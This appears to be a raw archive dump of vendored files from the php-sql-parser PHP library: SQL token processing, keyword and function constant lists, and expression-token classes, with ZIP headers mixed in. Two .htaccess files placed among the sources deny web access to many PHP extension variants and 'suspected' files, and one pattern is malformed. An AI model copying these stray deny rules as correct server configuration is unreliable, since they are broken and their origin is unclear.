                    $out[$prev_category][] = $trim;
                    continue 2;
                }
                if ($token_category === 'FROM') {
                    // part of the FROM statement (index hint)
                    $out[$token_category][] = $trim;
                    continue 2;
                }
                $out['OPTIONS'][] = $upper;
                continue 2;

            case 'CHECK':
                if ($prev_category === 'TABLE') {
                    $out[$prev_category][] = $trim;
                    continue 2;
                }
                $token_category = $upper;
                $out[$upper][0] = $trim;
                continue 2;

            case 'CREATE':
                if ($prev_category === 'SHOW') {
                    break;
                }
                $token_category = $upper;
                break;

            case 'INDEX':
	            if ( in_array( $prev_category, array( 'CREATE', 'DROP' ) ) ) {
		            $out[ $prev_category ][] = $trim;
		            $token_category          = $upper;
	            }
	            break;

            case 'TABLE':
                if ($prev_category === 'CREATE') {
                    $out[$prev_category][] = $trim;
                    $token_category = $upper;
                }
                if ($prev_category === 'TRUNCATE') {
                    $out[$prev_category][] = $trim;
                    $token_category = $upper;
                }
                break;

            case 'TEMPORARY':
                if ($prev_category === 'CREATE') {
                    $out[$prev_category][] = $trim;
                    $token_category = $prev_category;
                    continue 2;
                }
                break;

            case 'IF':
                if ($prev_category === 'TABLE') {
                    $token_category = 'CREATE';
                    $out[$token_category] = array_merge($out[$token_category], $out[$prev_category]);
                    $out[$prev_category] = array();
                    $out[$token_category][] = $trim;
                    $prev_category = $token_category;
                    continue 2;
                }
                break;

            case 'NOT':
                if ($prev_category === 'CREATE') {
                    $token_category = $prev_category;
                    $out[$prev_category][] = $trim;
                    continue 2;
                }
                break;

            case 'EXISTS':
                if ($prev_category === 'CREATE') {
                    $out[$prev_category][] = $trim;
                    $prev_category = $token_category = 'TABLE';
                    continue 2;
                }
                break;

            case 'CACHE':
                if ($prev_category === "" || $prev_category === 'RESET' || $prev_category === 'FLUSH'
                    || $prev_category === 'LOAD') {
                    $token_category = $upper;
                    continue 2;
                }
                break;

            /* This is either LOCK TABLES or SELECT ... LOCK IN SHARE MODE */
            case 'LOCK':
                if ($token_category === "") {
                    $token_category = $upper;
                    $out[$upper][0] = $trim;
                } elseif ($token_category === 'INDEX') {
                    break;
                } else {
                    $trim = 'LOCK IN SHARE MODE';
                    $skip_next = 3;
                    $out['OPTIONS'][] = $trim;
                }
                continue 2;

            case 'USING': /* USING in FROM clause is different from USING w/ prepared statement*/
                if ($token_category === 'EXECUTE') {
                    $token_category = $upper;
                    continue 2;
                }
                if ($token_category === 'FROM' && !empty($out['DELETE'])) {
                    $token_category = $upper;
                    continue 2;
                }
                break;

            /* DROP TABLE is different from ALTER TABLE DROP ... */
            case 'DROP':
                if ($token_category !== 'ALTER') {
                    $token_category = $upper;
                    continue 2;
                }
                break;

            case 'FOR':
                if ($prev_category === 'SHOW' || $token_category === 'FROM') {
                    break;
                }
                $skip_next = 1;
                $out['OPTIONS'][] = 'FOR UPDATE'; // TODO: this could be generate problems within the position calculator
                continue 2;

            case 'UPDATE':
                if ($token_category === "") {
                    $token_category = $upper;
                    continue 2;
                }
                if ($token_category === 'DUPLICATE') {
                    continue 2;
                }
                break;

            case 'START':
                $trim = "BEGIN";
                $out[$upper][0] = $upper; // TODO: this could be generate problems within the position calculator
                $skip_next = 1;
                break;

            // This token is ignored, except within RENAME
            case 'TO':
                if ($token_category === 'RENAME') {
                    break;
                }
                continue 2;

            // This token is ignored, except within CREATE TABLE
            case 'BY':
                if ($prev_category === 'TABLE') {
                    break;
                }
                continue 2;

            // These tokens are ignored.
            case 'ALL':
            case 'SHARE':
            case 'MODE':
            case ';':
                continue 2;

            case 'KEY':
                if ($token_category === 'DUPLICATE') {
                    continue 2;
                }
                break;

            /* These tokens set particular options for the statement. */
            case 'LOW_PRIORITY':
            case 'DELAYED':
            case 'QUICK':
            case 'HIGH_PRIORITY':
                $out['OPTIONS'][] = $trim;
                continue 2;

            case 'USE':
                if ($token_category === 'FROM') {
                    // index hint within FROM clause
                    $out[$token_category][] = $trim;
                    continue 2;
                }
                // set the category in case these get subclauses in a future version of MySQL
                $token_category = $upper;
                $out[$upper][0] = $trim;
                continue 2;

            case 'FORCE':
                if ($token_category === 'FROM') {
                    // index hint within FROM clause
                    $out[$token_category][] = $trim;
                    continue 2;
                }
                $out['OPTIONS'][] = $trim;
                continue 2;

            case 'WITH':
                if ($token_category === 'GROUP') {
                    $skip_next = 1;
                    $out['OPTIONS'][] = 'WITH ROLLUP'; // TODO: this could be generate problems within the position calculator
                    continue 2;
                }
                if ($token_category === '') {
                	$token_category = $upper;
                }
                break;

            case 'AS':
                break;

            case '':
            case ',':
                break;

            default:
                break;
            }

            // remove obsolete category after union (empty category because of
            // empty token before select)
            if ($token_category !== "" && ($prev_category === $token_category)) {
                $out[$token_category][] = $token;
            }

            $prev_category = $token_category;
        }

        if (count($out) === 0) {
            return false;
        }

        return parent::process($out);
    }
}
?>
PK     \Sʉ      E  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \y\@  @  P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/utils/PHPSQLParserConstants.phpnu [        <?php
/**
 * constants.php
 *
 * Some constants for the PHPSQLParser.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\utils;
class PHPSQLParserConstants {

    private static $inst = null;

    protected $customFunctions = array();
    protected $reserved = array('ABS', 'ACOS', 'ADDDATE', 'ADDTIME', 'AES_ENCRYPT', 'AES_DECRYPT', 'AGAINST', 'ASCII',
                                'ASIN', 'ATAN', 'AVG', 'BENCHMARK', 'BIN', 'BIT_AND', 'BIT_OR', 'BITCOUNT',
                                'BITLENGTH', 'CAST', 'CEILING', 'CHAR', 'CHAR_LENGTH', 'CHARACTER_LENGTH', 'CHARSET',
                                'COALESCE', 'COERCIBILITY', 'COLLATION', 'COMPRESS', 'CONCAT', 'CONCAT_WS',
                                'CONNECTION_ID', 'CONV', 'CONVERT', 'CONVERT_TZ', 'COS', 'COT', 'COUNT', 'CRC32',
                                'CURDATE', 'CURRENT_USER', 'CURRVAL', 'CURTIME', 'DATABASE', 'SCHEMA', 'DATETIME', 'DATE_ADD',
                                'DATE_DIFF', 'DATE_FORMAT', 'DATE_SUB', 'DAY', 'DAYNAME', 'DAYOFMONTH', 'DAYOFWEEK',
                                'DAYOFYEAR', 'DECODE', 'DEFAULT', 'DEGREES', 'DES_DECRYPT', 'DES_ENCRYPT', 'ELT',
                                'ENCODE', 'ENCRYPT', 'EXISTS', 'EXP', 'EXPORT_SET', 'EXTRACT', 'FIELD', 'FIND_IN_SET',
                                'FLOOR', 'FORMAT', 'FOUND_ROWS', 'FROM_DAYS', 'FROM_UNIXTIME', 'GET_FORMAT',
                                'GET_LOCK', 'GROUP_CONCAT', 'GREATEST', 'HEX', 'HOUR', 'IF', 'IFNULL', 'IN',
                                'INET_ATON', 'INET_NTOA', 'INSERT', 'INSTR', 'INTERVAL', 'IS_FREE_LOCK',
                                'IS_USED_LOCK', 'LAST_DAY', 'LAST_INSERT_ID', 'LCASE', 'LEAST', 'LEFT', 'LENGTH', 'LN',
                                'LOAD_FILE', 'LOCALTIME', 'LOCALTIMESTAMP', 'LOCATE', 'LOG', 'LOG2', 'LOG10', 'LOWER',
                                'LPAD', 'LTRIM', 'MAKE_SET', 'MAKEDATE', 'MAKETIME', 'MASTER_POS_WAIT', 'MATCH', 'MAX',
                                'MD5', 'MICROSECOND', 'MID', 'MIN', 'MINUTE', 'MOD', 'MONTH', 'MONTHNAME', 'NEXTVAL',
                                'NOW', 'NULLIF', 'OCT', 'OCTET_LENGTH', 'OLD_PASSWORD', 'ORD', 'PASSWORD',
                                'PERIOD_ADD', 'PERIOD_DIFF', 'PI', 'POSITION', 'POW', 'POWER', 'QUARTER', 'QUOTE',
                                'RADIANS', 'RAND', 'RELEASE_LOCK', 'REPEAT', 'REPLACE', 'REVERSE', 'RIGHT', 'ROUND',
                                'ROW_COUNT', 'RPAD', 'RTRIM', 'SEC_TO_TIME', 'SECOND', 'SESSION_USER', 'SHA', 'SHA1',
                                'SIGN', 'SOUNDEX', 'SPACE', 'SQRT', 'STD', 'STDDEV', 'STDDEV_POP', 'STDDEV_SAMP',
                                'STRCMP', 'STR_TO_DATE', 'SUBDATE', 'SUBSTRING', 'SUBSTRING_INDEX', 'SUBTIME', 'SUM',
                                'SYSDATE', 'SYSTEM_USER', 'TAN', 'TIME', 'TIMEDIFF', 'TIMESTAMP', 'TIMESTAMPADD',
                                'TIMESTAMPDIFF', 'TIME_FORMAT', 'TIME_TO_SEC', 'TO_DAYS', 'TRIM', 'TRUNCATE', 'UCASE',
                                'UNCOMPRESS', 'UNCOMPRESSED_LENGTH', 'UNHEX', 'UNIX_TIMESTAMP', 'UPPER', 'USER',
                                'UTC_DATE', 'UTC_TIME', 'UTC_TIMESTAMP', 'UUID', 'VAR_POP', 'VAR_SAMP', 'VARIANCE',
                                'VERSION', 'WEEK', 'WEEKDAY', 'WEEKOFYEAR', 'YEAR', 'YEARWEEK', 'ADD', 'ALL', 'ALTER',
                                'ANALYZE', 'AND', 'AS', 'ASC', 'ASENSITIVE', 'AUTO_INCREMENT', 'BDB', 'BEFORE',
                                'BERKELEYDB', 'BETWEEN', 'BIGINT', 'BINARY', 'BLOB', 'BOTH', 'BY', 'CALL', 'CASCADE',
                                'CASE', 'CHANGE', 'CHAR', 'CHARACTER', 'CHECK', 'COLLATE', 'COLUMN', 'COLUMNS',
                                'CONDITION', 'CONNECTION', 'CONSTRAINT', 'CONTINUE', 'CREATE', 'CROSS', 'CURRENT_DATE',
                                'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURSOR', 'DATABASE', 'SCHEMA', 'DATABASES', 'SCHEMAS', 'DAY_HOUR',
                                'DAY_MICROSECOND', 'DAY_MINUTE', 'DAY_SECOND', 'DEC', 'DECIMAL', 'DECLARE', 'DEFAULT',
                                'DELAYED', 'DELETE', 'DESC', 'DESCRIBE', 'DETERMINISTIC', 'DISTINCT', 'DISTINCTROW',
                                'DIV', 'DOUBLE', 'DROP', 'ELSE', 'ELSEIF', 'END', 'ENCLOSED', 'ESCAPED', 'EXISTS',
                                'EXIT', 'EXPLAIN',  'FETCH', 'FIELDS', 'FLOAT', 'FOR', 'FORCE', 'FOREIGN',
                                'FOUND', 'FRAC_SECOND', 'FROM', 'FULLTEXT', 'GRANT', 'GROUP', 'HAVING',
                                'HIGH_PRIORITY', 'HOUR_MICROSECOND', 'HOUR_MINUTE', 'HOUR_SECOND', 'IF', 'IGNORE',
                                'IN', 'INDEX', 'INFILE', 'INNER', 'INNODB', 'INOUT', 'INSENSITIVE', 'INSERT', 'INT',
                                'INTEGER', 'INTERVAL', 'INTO', 'IO_THREAD', 'IS', 'ITERATE', 'JOIN', 'KEY', 'KEYS',
                                'KILL', 'LEADING', 'LEAVE', 'LEFT', 'LIKE', 'LIMIT', 'LINES', 'LOAD', 'LOCALTIME',
                                'LOCALTIMESTAMP', 'LOCK', 'LONG', 'LONGBLOB', 'LONGTEXT', 'LOOP', 'LOW_PRIORITY',
                                'MASTER_SERVER_ID', 'MATCH', 'MEDIUMBLOB', 'MEDIUMINT', 'MEDIUMTEXT', 'MIDDLEINT',
                                'MINUTE_MICROSECOND', 'MINUTE_SECOND', 'MOD', 'NATURAL', 'NOT', 'NO_WRITE_TO_BINLOG',
                                'NULL', 'NUMERIC', 'ON', 'OPTIMIZE', 'OPTION', 'OPTIONALLY', 'OR', 'ORDER', 'OUT',
                                'OUTER', 'OUTFILE', 'PRECISION', 'PRIMARY', 'PRIVILEGES', 'PROCEDURE', 'PURGE', 'READ',
                                'REAL', 'REFERENCES', 'REGEXP', 'RENAME', 'REPEAT', 'REPLACE', 'REQUIRE', 'RESTRICT',
                                'RETURN', 'REVOKE', 'RIGHT', 'RLIKE', 'SECOND_MICROSECOND', 'SELECT', 'SENSITIVE',
                                'SEPARATOR', 'SET', 'SHOW', 'SMALLINT', 'SOME', 'SONAME', 'SPATIAL', 'SPECIFIC', 'SQL',
                                'SQLEXCEPTION', 'SQLSTATE', 'SQLWARNING', 'SQL_BIG_RESULT', 'SQL_CALC_FOUND_ROWS',
                                'SQL_SMALL_RESULT', 'SQL_TSI_DAY', 'SQL_TSI_FRAC_SECOND', 'SQL_TSI_HOUR',
                                'SQL_TSI_MINUTE', 'SQL_TSI_MONTH', 'SQL_TSI_QUARTER', 'SQL_TSI_SECOND', 'SQL_TSI_WEEK',
                                'SQL_TSI_YEAR', 'SSL', 'STARTING', 'STRAIGHT_JOIN', 'STRIPED', 'TABLE', 'TABLES',
                                'TEMPORARY', 'TERMINATED', 'THEN', 'TIMESTAMPADD', 'TIMESTAMPDIFF', 'TINYBLOB',
                                'TINYINT', 'TINYTEXT', 'TO', 'TRAILING', 'UNDO', 'UNION', 'UNIQUE', 'UNLOCK',
                                'UNSIGNED', 'UPDATE', 'USAGE', 'USE', 'USER_RESOURCES', 'USING', 'UTC_DATE',
                                'UTC_TIME', 'UTC_TIMESTAMP', 'VALUES', 'VARBINARY', 'VARCHAR', 'VARCHARACTER',
                                'VARYING', 'WHEN', 'WHERE', 'WHILE', 'WITH', 'WRITE', 'XOR', 'YEAR_MONTH', 'ZEROFILL');

    protected $parameterizedFunctions = array('ABS', 'ACOS', 'ADDDATE', 'ADDTIME', 'AES_ENCRYPT', 'AES_DECRYPT',
                                              'AGAINST', 'ASCII', 'ASIN', 'ATAN', 'AVG', 'BENCHMARK', 'BIN', 'BIT_AND',
                                              'BIT_OR', 'BITCOUNT', 'BITLENGTH', 'CAST', 'CEILING', 'CHAR',
                                              'CHAR_LENGTH', 'CHARACTER_LENGTH', 'CHARSET', 'COALESCE', 'COERCIBILITY',
                                              'COLLATION', 'COMPRESS', 'CONCAT', 'CONCAT_WS', 'CONV', 'CONVERT',
                                              'CONVERT_TZ', 'COS', 'COT', 'COUNT', 'CRC32', 'CURRVAL', 'DATE_ADD',
                                              'DATE_DIFF', 'DATE_FORMAT', 'DATE_SUB', 'DAY', 'DAYNAME', 'DAYOFMONTH',
                                              'DAYOFWEEK', 'DAYOFYEAR', 'DECODE', 'DEFAULT', 'DEGREES', 'DES_DECRYPT',
                                              'DES_ENCRYPT', 'ELT', 'ENCODE', 'ENCRYPT', 'EXP', 'EXPORT_SET',
                                              'EXTRACT', 'FIELD', 'FIND_IN_SET', 'FLOOR', 'FORMAT', 'FROM_DAYS',
                                              'FROM_UNIXTIME', 'GET_FORMAT', 'GET_LOCK', 'GROUP_CONCAT', 'GREATEST',
                                              'HEX', 'HOUR', 'IF', 'IFNULL', 'IN', 'INET_ATON', 'INET_NTOA', 'INSERT',
                                              'INSTR', 'INTERVAL', 'IS_FREE_LOCK', 'IS_USED_LOCK', 'LAST_DAY', 'LCASE',
                                              'LEAST', 'LEFT', 'LENGTH', 'LN', 'LOAD_FILE', 'LOCATE', 'LOG', 'LOG2',
                                              'LOG10', 'LOWER', 'LPAD', 'LTRIM', 'MAKE_SET', 'MAKEDATE', 'MAKETIME',
                                              'MASTER_POS_WAIT', 'MATCH', 'MAX', 'MD5', 'MICROSECOND', 'MID', 'MIN',
                                              'MINUTE', 'MOD', 'MONTH', 'MONTHNAME', 'NEXTVAL', 'NULLIF', 'OCT',
                                              'OCTET_LENGTH', 'OLD_PASSWORD', 'ORD', 'PASSWORD', 'PERIOD_ADD',
                                              'PERIOD_DIFF', 'PI', 'POSITION', 'POW', 'POWER', 'QUARTER', 'QUOTE',
                                              'RADIANS', 'RELEASE_LOCK', 'REPEAT', 'REPLACE', 'REVERSE', 'RIGHT',
                                              'ROUND', 'RPAD', 'RTRIM', 'SEC_TO_TIME', 'SECOND', 'SHA', 'SHA1', 'SIGN',
                                              'SOUNDEX', 'SPACE', 'SQRT', 'STD', 'STDDEV', 'STDDEV_POP', 'STDDEV_SAMP',
                                              'STRCMP', 'STR_TO_DATE', 'SUBDATE', 'SUBSTRING', 'SUBSTRING_INDEX',
                                              'SUBTIME', 'SUM', 'TAN', 'TIME', 'TIMEDIFF', 'TIMESTAMP', 'TIMESTAMPADD',
                                              'TIMESTAMPDIFF', 'TIME_FORMAT', 'TIME_TO_SEC', 'TO_DAYS', 'TRIM',
                                              'TRUNCATE', 'UCASE', 'UNCOMPRESS', 'UNCOMPRESSED_LENGTH', 'UNHEX',
                                              'UPPER', 'VAR_POP', 'VAR_SAMP', 'VARIANCE', 'WEEK', 'WEEKDAY',
                                              'WEEKOFYEAR', 'YEAR', 'YEARWEEK');

    protected $functions = array('ABS', 'ACOS', 'ADDDATE', 'ADDTIME', 'AES_ENCRYPT', 'AES_DECRYPT', 'AGAINST', 'ASCII',
                                 'ASIN', 'ATAN', 'AVG', 'BENCHMARK', 'BIN', 'BIT_AND', 'BIT_OR', 'BITCOUNT',
                                 'BITLENGTH', 'CAST', 'CEILING', 'CHAR', 'CHAR_LENGTH', 'CHARACTER_LENGTH', 'CHARSET',
                                 'COALESCE', 'COERCIBILITY', 'COLLATION', 'COMPRESS', 'CONCAT', 'CONCAT_WS',
                                 'CONNECTION_ID', 'CONV', 'CONVERT', 'CONVERT_TZ', 'COS', 'COT', 'COUNT', 'CRC32',
                                 'CURDATE', 'CURRENT_USER', 'CURRVAL', 'CURTIME', 'DATABASE', 'SCHEMA', 'DATE_ADD', 'DATE_DIFF',
                                 'DATE_FORMAT', 'DATE_SUB', 'DAY', 'DAYNAME', 'DAYOFMONTH', 'DAYOFWEEK', 'DAYOFYEAR',
                                 'DECODE', 'DEFAULT', 'DEGREES', 'DES_DECRYPT', 'DES_ENCRYPT', 'ELT', 'ENCODE',
                                 'ENCRYPT', 'EXP', 'EXPORT_SET', 'EXTRACT', 'FIELD', 'FIND_IN_SET', 'FLOOR', 'FORMAT',
                                 'FOUND_ROWS', 'FROM_DAYS', 'FROM_UNIXTIME', 'GET_FORMAT', 'GET_LOCK', 'GROUP_CONCAT',
                                 'GREATEST', 'HEX', 'HOUR', 'IF', 'IFNULL', 'IN', 'INET_ATON', 'INET_NTOA', 'INSERT',
                                 'INSTR', 'INTERVAL', 'IS_FREE_LOCK', 'IS_USED_LOCK', 'LAST_DAY', 'LAST_INSERT_ID',
                                 'LCASE', 'LEAST', 'LEFT', 'LENGTH', 'LN', 'LOAD_FILE', 'LOCALTIME', 'LOCALTIMESTAMP',
                                 'LOCATE', 'LOG', 'LOG2', 'LOG10', 'LOWER', 'LPAD', 'LTRIM', 'MAKE_SET', 'MAKEDATE',
                                 'MAKETIME', 'MASTER_POS_WAIT', 'MATCH', 'MAX', 'MD5', 'MICROSECOND', 'MID', 'MIN',
                                 'MINUTE', 'MOD', 'MONTH', 'MONTHNAME', 'NEXTVAL', 'NOW', 'NULLIF', 'OCT',
                                 'OCTET_LENGTH', 'OLD_PASSWORD', 'ORD', 'PASSWORD', 'PERIOD_ADD', 'PERIOD_DIFF', 'PI',
                                 'POSITION', 'POW', 'POWER', 'QUARTER', 'QUOTE', 'RADIANS', 'RAND', 'RELEASE_LOCK',
                                 'REPEAT', 'REPLACE', 'REVERSE', 'RIGHT', 'ROUND', 'ROW_COUNT', 'RPAD', 'RTRIM',
                                 'SEC_TO_TIME', 'SECOND', 'SESSION_USER', 'SHA', 'SHA1', 'SIGN', 'SOUNDEX', 'SPACE',
                                 'SQRT', 'STD', 'STDDEV', 'STDDEV_POP', 'STDDEV_SAMP', 'STRCMP', 'STR_TO_DATE',
                                 'SUBDATE', 'SUBSTRING', 'SUBSTRING_INDEX', 'SUBTIME', 'SUM', 'SYSDATE', 'SYSTEM_USER',
                                 'TAN', 'TIME', 'TIMEDIFF', 'TIMESTAMP', 'TIMESTAMPADD', 'TIMESTAMPDIFF',
                                 'TIME_FORMAT', 'TIME_TO_SEC', 'TO_DAYS', 'TRIM', 'TRUNCATE', 'UCASE', 'UNCOMPRESS',
                                 'UNCOMPRESSED_LENGTH', 'UNHEX', 'UNIX_TIMESTAMP', 'UPPER', 'USER', 'UTC_DATE',
                                 'UTC_TIME', 'UTC_TIMESTAMP', 'UUID', 'VAR_POP', 'VAR_SAMP', 'VARIANCE', 'VERSION',
                                 'WEEK', 'WEEKDAY', 'WEEKOFYEAR', 'YEAR', 'YEARWEEK');

    protected $aggregateFunctions = array('AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'STD', 'STDDEV', 'STDDEV_SAMP',
                                          'STDDEV_POP', 'VARIANCE', 'VAR_SAMP', 'VAR_POP', 'GROUP_CONCAT', 'BIT_AND',
                                          'BIT_OR', 'BIT_XOR');

    /**
     * Call this method to get singleton
     *
     * @return PHPSQLParserConstants
     */
    public static function getInstance() {
        if (!isset(self::$inst)) {
            self::$inst = new PHPSQLParserConstants();
        }
        return self::$inst;
    }

    /**
     * Private ctor so nobody else can instance it
     *
     */
    private function __construct() {
        $this->reserved = array_flip($this->reserved);
        $this->aggregateFunctions = array_flip($this->aggregateFunctions);
        $this->functions = array_flip($this->functions);
        $this->parameterizedFunctions = array_flip($this->parameterizedFunctions);
    }

    private function __clone() {
    }

    public function isAggregateFunction($token) {
        return isset($this->aggregateFunctions[$token]);
    }

    public function isReserved($token) {
        return isset($this->reserved[$token]);
    }

    public function isFunction($token) {
        return isset($this->functions[$token]);
    }

    public function isParameterizedFunction($token) {
        return isset($this->parameterizedFunctions[$token]);
    }

    public function isCustomFunction($token) {
        return isset($this->customFunctions[$token]);
    }

    public function addCustomFunction($token) {
        $token = strtoupper(trim($token));
        $this->customFunctions[$token] = true;
    }

    public function removeCustomFunction($token) {
        $token = strtoupper(trim($token));
        unset($this->customFunctions[$token]);
    }

    public function getCustomFunctions() {
        return array_keys($this->customFunctions);
    }
}
?>
PK     \;!    J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/utils/ExpressionToken.phpnu [        <?php

namespace PHPSQLParser\utils;

use PHPSQLParser\Options;
use PHPSQLParser\processors\DefaultProcessor;

class ExpressionToken {

    private $subTree;
    private $expression;
    private $key;
    private $token;
    private $tokenType;
    private $trim;
    private $upper;
    private $noQuotes;

    public function __construct($key = "", $token = "") {
        $this->subTree = false;
        $this->expression = "";
        $this->key = $key;
        $this->token = $token;
        $this->tokenType = false;
        $this->trim = trim($token);
        $this->upper = strtoupper($this->trim);
        $this->noQuotes = null;
    }

    # TODO: we could replace it with a constructor new ExpressionToken(this, "*")
    public function addToken($string) {
        $this->token .= $string;
    }

    public function isEnclosedWithinParenthesis() {
        return (!empty( $this->upper ) && $this->upper[0] === '(' && substr($this->upper, -1) === ')');
    }

    public function setSubTree($tree) {
        $this->subTree = $tree;
    }

    public function getSubTree() {
        return $this->subTree;
    }

    public function getUpper($idx = false) {
        return $idx !== false ? $this->upper[$idx] : $this->upper;
    }

    public function getTrim($idx = false) {
        return $idx !== false ? $this->trim[$idx] : $this->trim;
    }

    public function getToken($idx = false) {
        return $idx !== false ? $this->token[$idx] : $this->token;
    }

    public function setNoQuotes($token, $qchars, Options $options) {
        $this->noQuotes = ($token === null) ? null : $this->revokeQuotation($token, $options);
    }

    public function setTokenType($type) {
        $this->tokenType = $type;
    }

    public function endsWith($needle) {
        $length = strlen($needle);
        if ($length == 0) {
            return true;
        }

        $start = $length * -1;
        return (substr($this->token, $start) === $needle);
    }

    public function isWhitespaceToken() {
        return ($this->trim === "");
    }

    public function isCommaToken() {
        return ($this->trim === ",");
    }

    public function isVariableToken() {
        return $this->upper[0] === '@';
    }

    public function isSubQueryToken() {
        return preg_match("/^\\(\\s*(-- [\\w\\s]+\\n)?\\s*SELECT/i", $this->trim);
    }

    public function isExpression() {
        return $this->tokenType === ExpressionType::EXPRESSION;
    }

    public function isBracketExpression() {
        return $this->tokenType === ExpressionType::BRACKET_EXPRESSION;
    }

    public function isOperator() {
        return $this->tokenType === ExpressionType::OPERATOR;
    }

    public function isInList() {
        return $this->tokenType === ExpressionType::IN_LIST;
    }

    public function isFunction() {
        return $this->tokenType === ExpressionType::SIMPLE_FUNCTION;
    }

    public function isUnspecified() {
        return ($this->tokenType === false);
    }

    public function isVariable() {
        return $this->tokenType === ExpressionType::GLOBAL_VARIABLE || $this->tokenType === ExpressionType::LOCAL_VARIABLE || $this->tokenType === ExpressionType::USER_VARIABLE;
    }

    public function isAggregateFunction() {
        return $this->tokenType === ExpressionType::AGGREGATE_FUNCTION;
    }

    public function isCustomFunction() {
        return $this->tokenType === ExpressionType::CUSTOM_FUNCTION;
    }

    public function isColumnReference() {
        return $this->tokenType === ExpressionType::COLREF;
    }

    public function isConstant() {
        return $this->tokenType === ExpressionType::CONSTANT;
    }

    public function isSign() {
        return $this->tokenType === ExpressionType::SIGN;
    }

    public function isSubQuery() {
        return $this->tokenType === ExpressionType::SUBQUERY;
    }

    private function revokeQuotation($token, Options $options) {
        $defProc = new DefaultProcessor($options);
        return $defProc->revokeQuotation($token);
    }

    public function toArray() {
        $result = array();
        $result['expr_type'] = $this->tokenType;
        $result['base_expr'] = $this->token;
        if (!empty($this->noQuotes)) {
            $result['no_quotes'] = $this->noQuotes;
        }
        $result['sub_tree'] = $this->subTree;
        return $result;
    }
}

?>
PK     \Sʉ      @  vendor/greenlion/php-sql-parser/src/PHPSQLParser/utils/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \    I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/utils/ExpressionType.phpnu [        <?php
/**
 * ExpressionType.php
 *
 * Defines all values, which are possible for the [expr_type] field 
 * within the parser output.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\utils;

/**
 * This class defines all values, which are possible for the [expr_type] field 
 * within the parser output.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class ExpressionType {

    const USER_VARIABLE = 'user_variable';
    const SESSION_VARIABLE = 'session_variable';
    const GLOBAL_VARIABLE = 'global_variable';
    const LOCAL_VARIABLE = 'local_variable';

    const COLDEF = 'column-def';
    const COLREF = 'colref';
